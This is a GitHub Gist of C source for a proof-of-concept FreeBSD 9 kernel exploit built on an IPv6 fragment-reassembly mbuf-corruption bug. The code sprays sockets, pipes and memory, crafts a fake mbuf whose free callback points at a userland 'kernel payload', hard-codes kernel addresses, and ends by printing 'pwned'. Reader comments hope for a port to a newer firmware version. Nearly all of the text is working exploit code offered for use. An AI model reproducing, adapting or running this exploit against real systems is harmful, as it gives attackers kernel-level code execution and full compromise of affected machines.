Last active
March 8, 2021 15:34
-
-
Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
FreeBSD 9 PoC of kernel code execution using the new TheFlow vulnerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/types.h> | |
#include <sys/param.h> | |
#include <sys/cpuset.h> | |
#include <sys/socket.h> | |
#include <sys/mman.h> | |
#include <sys/sysctl.h> | |
#include <sys/vmmeter.h> | |
#include <netinet/in.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <time.h> | |
#include <vm/vm_param.h> | |
#include <stdio.h> | |
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final) | |
{ | |
unsigned char buf[0x100]; | |
// hop-by-hop header | |
buf[0] = 44; | |
buf[1] = 0; | |
buf[2] = 1; | |
buf[3] = 4; | |
buf[4] = buf[5] = buf[6] = buf[7] = 0x41; | |
// fragment header | |
buf[8] = 43; | |
buf[9] = 0; | |
size_t mid = off + !is_final; | |
buf[10] = mid / 256; | |
buf[11] = mid % 256; | |
buf[12] = 0xde; | |
buf[13] = 0xad; | |
buf[14] = 0xbe; | |
buf[15] = 0xef; | |
for(size_t i = 0; i < sz; i++) | |
buf[16+i] = src[off+i]; | |
struct sockaddr_in6 sin6 = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0xbeef, | |
}; | |
sin6.sin6_addr.s6_addr[15] = 1; | |
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6)); | |
} | |
void build_rthdr(char* buf, int sz) | |
{ | |
buf[0] = 43; | |
buf[1] = sz / 8 - 1; | |
buf[2] = 0; | |
buf[3] = 0; | |
for(size_t i = 4; i < sz; i++) | |
buf[i] = 0; | |
} | |
#define RTHDR_1_SZ 0x68 // MHLEN-56 | |
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf | |
#define FIRST_FRAGMENT_SZ 0x38 | |
#define SPRAY_SIZE 400 | |
#define SMALL_SPRAY_SIZE 400 | |
#define HUGE_SPRAY_SIZE 0x2800 | |
#define RECLAIM_THRESHOLD 10 | |
void push_mbuf(int* socks, int i) | |
{ | |
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0) | |
printf("push_mbuf failed\n"); | |
} | |
int pop_mbuf(int* socks, int i) | |
{ | |
int ans = i; | |
recvfrom(socks[i], &ans, sizeof(ans), 0, 0, 0); | |
return ans; | |
} | |
int peek_mbuf(int* socks, int i) | |
{ | |
int ans = i; | |
recvfrom(socks[i], &ans, sizeof(ans), MSG_PEEK, 0, 0); | |
return ans; | |
} | |
#if 0 | |
uint16_t ip_checksum(void* buf, size_t sz, uint32_t csum) | |
{ | |
uint16_t* x = (unsigned short*)buf; | |
for(size_t i = 0; i < sz / 2; i++) | |
csum += x[i]; | |
while(csum >= 0x10000) | |
{ | |
uint32_t q = csum / 0x10000; | |
csum %= 0x10000; | |
csum += q; | |
} | |
return (uint16_t)(0xffff - csum); | |
} | |
void craft_ipv4_packet(char* ans, int port, char* buf, size_t sz) | |
{ | |
ans[0] = 0x45; | |
ans[1] = 0; | |
ans[2] = (sz+28)%256; | |
ans[3] = (sz+28)/256; | |
ans[4] = 0xde; | |
ans[5] = 0xad; | |
ans[6] = 0; | |
ans[7] = 0; | |
ans[8] = 64; | |
ans[9] = 17; | |
ans[10] = ans[11] = 0; | |
ans[12] = ans[16] = 127; | |
ans[13] = ans[17] = 0; | |
ans[14] = ans[18] = 0; | |
ans[15] = ans[19] = 1; | |
ans[20] = ans[22] = port % 256; | |
ans[21] = ans[23] = port / 256; | |
ans[24] = (sz+8)/256; | |
ans[25] = (sz+8)%256; | |
ans[26] = 0; | |
ans[27] = 0; | |
//*(uint16_t)(ans+26) = ipv4_checksum(ans+20, 8); | |
//*(uint16_t)(ans+10) = ipv4_checksum(ans, sz+28); | |
for(size_t i = 0; i < sz; i++) | |
ans[i+28] = buf[i]; | |
} | |
void push_mbuf_r(int r, int* socks, int i) | |
{ | |
struct sockaddr_in sin; | |
socklen_t l = sizeof(sin); | |
getsockname(socks[i], (struct sockaddr*)&sin, &l); | |
char buf[32]; | |
craft_ipv4_packet(buf, sin.sin_port, (void*)&i, sizeof(i)); | |
sendto(r, buf, sizeof(buf), 0, (void*)&sin, l); | |
} | |
#endif | |
int create_loopback(void) | |
{ | |
#if 1 | |
int sock = socket(AF_INET6, SOCK_DGRAM, 0); | |
struct sockaddr_in6 sin = { | |
.sin6_family = AF_INET6, | |
.sin6_addr = {0}, | |
.sin6_port = 0, | |
}; | |
sin.sin6_addr.s6_addr[15] = 1; | |
#else | |
int sock = socket(AF_INET, SOCK_DGRAM, 0); | |
struct sockaddr_in sin = { | |
.sin_family = AF_INET, | |
.sin_addr = {0x100007f}, | |
.sin_port = 0, | |
}; | |
#endif | |
socklen_t sin_l = sizeof(sin); | |
bind(sock, (struct sockaddr*)&sin, sin_l); | |
getsockname(sock, (struct sockaddr*)&sin, &sin_l); | |
connect(sock, (struct sockaddr*)&sin, sin_l); | |
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK); | |
return sock; | |
} | |
int get_port(int fd) | |
{ | |
struct sockaddr_in6 sin; | |
socklen_t l = sizeof(sin); | |
getsockname(fd, (struct sockaddr*)&sin, &l); | |
return sin.sin6_port; | |
} | |
asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret"); | |
void kexec(void*); | |
#define uma_reclaim ((void*)0xffffffff80a7c1c0) | |
int port_to_csum(int port) | |
{ | |
int base_port = 0x0de6; | |
int base_csum = 0x36b1; | |
int csum = base_csum - 2 * (port - base_port); | |
csum += 0x1fffe; | |
csum %= 0xffff; | |
return csum; | |
} | |
volatile void* userland_spray(void) | |
{ | |
volatile char* buf = mmap(NULL, 1L<<33, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
size_t npages = 50000; | |
for(size_t i = 0; i < (1L<<33); i += 4096) | |
{ | |
int checkout = 0; | |
if(i % 10485760 == 0) | |
{ | |
checkout = 1; | |
printf("%lu\n", i); | |
} | |
struct vmtotal v1, v2; | |
struct timeval t1, t2; | |
int mibs[2] = {CTL_VM, VM_TOTAL}; | |
size_t l = sizeof(v1); | |
if(npages < 50000 || checkout) | |
sysctl(mibs, 2, &v1, &l, 0, 0); | |
buf[i] = 123; | |
if(npages < 50000 || checkout) | |
{ | |
sysctl(mibs, 2, &v2, &l, 0, 0); | |
if(v2.t_free > v1.t_free + RECLAIM_THRESHOLD) | |
{ | |
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free); | |
break; | |
} | |
else if(v2.t_free > v1.t_free) | |
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free); | |
npages = v2.t_free; | |
} | |
} | |
printf("sprayed (?)\n"); | |
//munmap(buf+(1<<30)-(1<<20), 1<<20); | |
return buf; | |
} | |
void pipe_spray(void) | |
{ | |
char* buf = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); | |
for(size_t i = 0; i < 4096; i++) | |
buf[i] = 0x41; | |
for(int i = 0; i < HUGE_SPRAY_SIZE/2; i++) | |
{ | |
int p[2]; | |
pipe(p); | |
fcntl(p[1], F_SETFL, fcntl(p[1], F_GETFL) | O_NONBLOCK); | |
write(p[1], buf, 4096); | |
write(p[0], buf, 4096); | |
} | |
} | |
void push_jumbo(int fd) | |
{ | |
char buf[2048]; | |
for(int i = 0; i < 2048; i++) | |
buf[i] = 0x41; | |
for(int i = 0; i < 31; i++) | |
sendto(fd, buf, sizeof(buf), 0, 0, 0); | |
} | |
void* mmap_at(void* where, size_t sz) | |
{ | |
uintptr_t addr = (uintptr_t)where; | |
uintptr_t end = addr + sz; | |
addr &= ~4095ull; | |
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr) | |
{ | |
printf("failed to mmap_at!\n"); | |
return 0; | |
} | |
//prefault pages | |
unsigned char* p = where; | |
for(size_t i = 0; i < sz; i++) | |
p[i] = 0; | |
return where; | |
} | |
void kernel_payload(int bad_fd) | |
{ | |
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90; | |
printf("Hello, kernel world!\n"); | |
int****** td; | |
asm volatile("mov %%gs:0, %0":"=r"(td)); | |
td[1][9][0][bad_fd][0][81] = 0; // socket->so_snd.sb_cc | |
td[1][9][0][bad_fd][0][83] = 0; // socket->so_snd.sb_mbcnf | |
void*** zone_mbuf = (void*)0xffffffff811008a0; | |
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets | |
} | |
int main(void) | |
{ | |
cpuset_t xxx; | |
CPU_ZERO(&xxx); | |
CPU_SET(2, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx); | |
int huge_spray[HUGE_SPRAY_SIZE]; | |
for(int i = 0; i < HUGE_SPRAY_SIZE; i++) | |
huge_spray[i] = socket(AF_INET6, SOCK_DGRAM, 0); | |
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS); | |
int socks[SPRAY_SIZE]; | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
socks[i] = create_loopback(); | |
//socketpair(AF_INET, SOCK_DGRAM, 0, socks+2*i); | |
int small_spray[SMALL_SPRAY_SIZE]; | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
small_spray[i] = create_loopback(); | |
char buf[RTHDR_1_SZ + RTHDR_2_SZ]; | |
build_rthdr(buf, RTHDR_1_SZ); | |
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ); | |
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0); | |
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1); | |
nanosleep((void*)"\0\0\0\0\0\0\0\0\x10\x27\0\0\0\0\0\0", 0); | |
CPU_ZERO(&xxx); | |
CPU_SET(0, &xxx); | |
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx); | |
#define FORALL for(int i = 0; i < SPRAY_SIZE; i++) | |
int q; | |
FORALL push_mbuf(socks, i); | |
char delayed_pkt[20]; | |
*(uint32_t*)(delayed_pkt+16) = 0x41414141; | |
send_fragment(sock, delayed_pkt, 16, 4, 1); | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
push_mbuf(small_spray, i); | |
int bad1 = -1, bad2 = -1; | |
FORALL if((q = peek_mbuf(socks, i)) != i) | |
{ | |
bad1 = i; | |
bad2 = q; | |
} | |
if(bad1 < 0 || bad2 < 0) | |
{ | |
printf("fatal: no corruption\n"); | |
return 1; | |
} | |
build_rthdr(delayed_pkt, 8); | |
delayed_pkt[0] = 17; // udp | |
uint16_t bad1_port = get_port(socks[bad1]); | |
*(uint16_t*)(delayed_pkt+8) = *(uint16_t*)(delayed_pkt+10) = bad1_port; | |
delayed_pkt[12] = 0; | |
delayed_pkt[13] = 12; | |
*(uint16_t*)(delayed_pkt+14) = port_to_csum(bad1_port); | |
send_fragment(sock, delayed_pkt, 0, 16, 0); | |
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0); | |
pop_mbuf(socks, bad1); | |
pop_mbuf(socks, bad2); | |
/*for(int i = SPRAY_SIZE-SMALL_SPRAY_SIZE; i < SPRAY_SIZE; i++) | |
{ | |
printf("%d ", i-SPRAY_SIZE); | |
fflush(stdout); | |
print_mbuf_addr(socks[i]); | |
} | |
printf("-0 "); | |
fflush(stdout); | |
print_mbuf_addr(socks[bad1]); | |
printf("-0 "); | |
fflush(stdout); | |
print_mbuf_addr(socks[bad2]); | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
{ | |
printf("%d ", i); | |
fflush(stdout); | |
print_mbuf_addr(small_spray[i]); | |
}*/ | |
for(int i = SMALL_SPRAY_SIZE-1; i >= 0; i--) | |
pop_mbuf(small_spray, i); | |
pop_mbuf(socks, bad1); | |
for(int i = SPRAY_SIZE-1; i >= 0; i--) | |
if(i != bad1 && i != bad2) | |
pop_mbuf(socks, i); | |
//print_mbuf_addr(socks[bad2]); | |
void* ul_buf = (void*)userland_spray(); | |
unsigned char rthdr[1016]; | |
build_rthdr((char*)rthdr, sizeof(rthdr)); | |
rthdr[0] = 0; | |
rthdr[3] = rthdr[1] / 2; | |
rthdr[4] = 0x90; | |
*(uint32_t*)(rthdr+0x1c) = 0x40000; //M_NOFREE | |
unsigned char* mbuf_fake = mmap_at(*(void**)rthdr, 0x100); | |
*(uint32_t*)(mbuf_fake+0x1c) = 0x40001; //M_NOFREE|M_EXT | |
*(uintptr_t*)(mbuf_fake+0x58) = 0xffff800041414141ull; | |
*(uintptr_t*)(mbuf_fake+0x60) = (uintptr_t)&kernel_payload; | |
*(uintptr_t*)(mbuf_fake+0x68) = socks[bad2]; //ext_arg1 | |
int fake_refcnt = 1; | |
*(void**)(mbuf_fake+0x80) = &fake_refcnt; | |
*(int*)(mbuf_fake+0x88) = 400; | |
for(int i = 256; i < sizeof(rthdr); i++) | |
rthdr[i] = rthdr[i % 256]; | |
printf("crafted fake mbuf in userspace\n"); | |
/*for(int i = 4; i < sizeof(rthdr); i++) | |
rthdr[i] = 0x41;*/ | |
for(int i = 0; i < HUGE_SPRAY_SIZE; i++) | |
setsockopt(huge_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr)); | |
for(int i = 0; i < SPRAY_SIZE; i++) | |
setsockopt(socks[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr)); | |
for(int i = 0; i < SMALL_SPRAY_SIZE; i++) | |
setsockopt(small_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr)); | |
//print_mbuf_addr(socks[bad2]); | |
pop_mbuf(socks, bad2); | |
close(socks[bad1]); | |
close(socks[bad2]); | |
printf("pwned\n"); | |
munmap(ul_buf, 1L<<33); | |
return 0; | |
} |
Hoping for the leaf surprise for Algebra version 7.55 I believe in you my friend
keep working 💪
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
mantap